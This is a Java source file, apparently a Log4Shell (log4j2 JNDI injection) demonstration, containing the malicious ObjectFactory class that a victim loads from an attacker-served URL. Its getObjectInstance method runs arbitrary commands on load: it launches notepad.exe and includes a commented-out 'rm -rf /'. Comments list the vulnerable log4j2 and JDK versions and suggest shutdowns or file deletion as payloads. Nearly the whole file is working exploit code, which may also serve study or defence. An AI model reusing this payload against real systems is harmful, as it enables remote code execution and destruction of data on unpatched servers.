import javax.naming.Context;
import javax.naming.Name;
import java.util.Hashtable;

/**
 * @ClassName AttaclObject
 * @Discription 模拟执行的程序，即攻击代码的实现类，然后编译class文件，
 * 放到rmi服务指定的目录，比如RmiService中的http://127.0.0.1:80/服务访问的地址
 * 这里使用的是nginx来实现，即把编辑后的文件放在nginx配置的目录下，访问http://127.0.0.1:80/AttackObject.class可以访问到，
 * @Author gzjoeliu
 * @Date 2021/12/12 14:16
 **/
public class AttackObject implements javax.naming.spi.ObjectFactory {
    /******
     *  演示版本 ------>jdk :1.8u181，log4j2:2.12.0
     *  log4j2漏洞范围：2.0<=log4j2.version  <2.15
     *  java 漏洞范围： jdk7-> jdk.version  <7u200
     *                jdk8-> jdk.version  <8u191
     * ***/
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {

        System.out.println("攻击开始了....");

        /****
         * 这里就可以执行一些攻击的代码逻辑，比如关机，删除文件等等
         */
        Runtime.getRuntime().exec("notepad.exe");
        // Runtime.getRuntime().exec("rm -rf /");

        return null;
    }
}
